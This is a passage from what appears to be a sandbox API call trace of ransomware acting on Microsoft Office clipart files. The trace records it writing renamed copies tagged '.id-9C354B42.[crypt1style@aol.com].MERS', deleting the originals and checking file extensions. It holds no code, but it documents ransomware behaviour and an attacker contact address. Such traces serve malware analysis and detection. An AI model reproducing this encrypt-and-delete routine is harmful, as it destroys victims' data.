(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.709] GetLastError () returned 0x0 [0270.709] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xfe2, lpOverlapped=0x0) returned 1 [0270.835] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xff0, lpOverlapped=0x0) returned 1 [0270.835] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.835] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.835] SetEndOfFile (hFile=0x3b4) returned 1 [0270.836] CloseHandle (hObject=0x3b4) returned 1 [0270.836] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.836] SetEndOfFile (hFile=0x418) returned 1 [0270.838] CloseHandle (hObject=0x418) returned 1 [0270.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0270.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.933] lstrlenW (lpString=".doc") returned 4 [0270.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.933] lstrlenW (lpString=".docx") returned 5 [0270.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.933] lstrlenW (lpString=".pdf") returned 4 [0270.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.933] lstrlenW (lpString=".xls") returned 4 [0270.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.933] lstrlenW (lpString=".xlsx") returned 5 [0270.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.933] lstrlenW (lpString=".ppt") returned 4 [0270.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.933] lstrlenW (lpString=".zip") returned 4 [0270.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.933] lstrlenW (lpString=".rar") returned 4 [0270.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.933] lstrlenW (lpString=".bz2") returned 4 [0270.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.933] lstrlenW (lpString=".7z") returned 3 [0270.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.934] lstrlenW (lpString=".dbf") returned 4 [0270.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.934] lstrlenW (lpString=".1cd") returned 4 [0270.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.934] lstrlenW (lpString=".jpg") returned 4 [0270.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.934] lstrlenW (lpString=".doc") returned 4 [0270.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString=".docx") returned 5 [0270.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.934] lstrlenW (lpString=".pdf") returned 4 [0270.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString=".xls") returned 4 [0270.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.934] lstrlenW (lpString=".xlsx") returned 5 [0270.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.934] lstrlenW (lpString=".ppt") returned 4 [0270.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.935] lstrlenW (lpString=".zip") returned 4 [0270.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.935] lstrlenW (lpString=".rar") returned 4 [0270.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.935] lstrlenW (lpString=".bz2") returned 4 [0270.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.935] lstrlenW (lpString=".7z") returned 3 [0270.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.935] lstrlenW (lpString=".dbf") returned 4 [0270.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.935] lstrlenW (lpString=".1cd") returned 4 [0270.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0270.935] lstrlenW (lpString=".jpg") returned 4 [0270.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.935] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.935] lstrlenW (lpString="BD09031_.WMF") returned 12 [0270.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0270.936] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=47786) returned 1 [0270.936] CloseHandle (hObject=0x3c0) returned 1 [0270.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0270.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0270.936] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.936] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0270.937] GetLastError () returned 0x0 [0270.937] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0271.060] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0271.062] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.062] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.062] SetEndOfFile (hFile=0x3d0) returned 1 [0271.062] CloseHandle (hObject=0x3d0) returned 1 [0271.062] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.062] SetEndOfFile (hFile=0x3c0) returned 1 [0271.064] CloseHandle (hObject=0x3c0) returned 1 [0271.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString=".doc") returned 4 [0271.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString=".docx") returned 5 [0271.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.065] lstrlenW (lpString=".pdf") returned 4 [0271.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString=".xls") returned 4 [0271.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.065] lstrlenW (lpString=".xlsx") returned 5 [0271.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.065] lstrlenW (lpString=".ppt") returned 4 [0271.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString=".zip") returned 4 [0271.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.065] lstrlenW (lpString=".rar") returned 4 [0271.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString=".bz2") returned 4 [0271.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString=".7z") returned 3 [0271.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString=".dbf") returned 4 [0271.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString=".1cd") returned 4 [0271.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.065] lstrlenW (lpString=".jpg") returned 4 [0271.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString=".doc") returned 4 [0271.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString=".docx") returned 5 [0271.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.066] lstrlenW (lpString=".pdf") returned 4 [0271.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString=".xls") returned 4 [0271.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.066] lstrlenW (lpString=".xlsx") returned 5 [0271.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.066] lstrlenW (lpString=".ppt") returned 4 [0271.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString=".zip") returned 4 [0271.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.066] lstrlenW (lpString=".rar") returned 4 [0271.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString=".bz2") returned 4 [0271.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString=".7z") returned 3 [0271.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString=".dbf") returned 4 [0271.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString=".1cd") returned 4 [0271.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0271.066] lstrlenW (lpString=".jpg") returned 4 [0271.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.067] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0271.067] lstrlenW (lpString="BD10890_.GIF") returned 12 [0271.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0271.067] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=13515) returned 1 [0271.067] CloseHandle (hObject=0x3c0) returned 1 [0271.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0271.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0271.067] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.068] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.068] GetLastError () returned 0x0 [0271.068] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x34cb, lpOverlapped=0x0) returned 1 [0271.110] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0271.111] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.111] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.111] SetEndOfFile (hFile=0x3d0) returned 1 [0271.111] CloseHandle (hObject=0x3d0) returned 1 [0271.111] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.111] SetEndOfFile (hFile=0x3c0) returned 1 [0271.117] CloseHandle (hObject=0x3c0) returned 1 [0271.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0271.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.137] lstrlenW (lpString=".doc") returned 4 [0271.137] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.137] lstrlenW (lpString=".docx") returned 5 [0271.137] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.137] lstrlenW (lpString=".pdf") returned 4 [0271.137] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.137] lstrlenW (lpString=".xls") returned 4 [0271.137] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.137] lstrlenW (lpString=".xlsx") returned 5 [0271.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.137] lstrlenW (lpString=".ppt") returned 4 [0271.137] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".zip") returned 4 [0271.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString=".rar") returned 4 [0271.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString=".bz2") returned 4 [0271.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.138] lstrlenW (lpString=".7z") returned 3 [0271.138] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".dbf") returned 4 [0271.138] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".1cd") returned 4 [0271.138] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".jpg") returned 4 [0271.138] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".doc") returned 4 [0271.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.138] lstrlenW (lpString=".docx") returned 5 [0271.138] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.138] lstrlenW (lpString=".pdf") returned 4 [0271.138] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString=".xls") returned 4 [0271.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString=".xlsx") returned 5 [0271.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.138] lstrlenW (lpString=".ppt") returned 4 [0271.138] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.138] lstrlenW (lpString=".zip") returned 4 [0271.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.139] lstrlenW (lpString=".rar") returned 4 [0271.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.139] lstrlenW (lpString=".bz2") returned 4 [0271.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.139] lstrlenW (lpString=".7z") returned 3 [0271.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.139] lstrlenW (lpString=".dbf") returned 4 [0271.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.139] lstrlenW (lpString=".1cd") returned 4 [0271.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0271.139] lstrlenW (lpString=".jpg") returned 4 [0271.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.139] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.139] lstrlenW (lpString="BD19695_.WMF") returned 12 [0271.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.142] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=12982) returned 1 [0271.142] CloseHandle (hObject=0x3c8) returned 1 [0271.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0271.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.142] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.142] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0271.142] GetLastError () returned 0x0 [0271.142] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x32b6, lpOverlapped=0x0) returned 1 [0271.236] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: 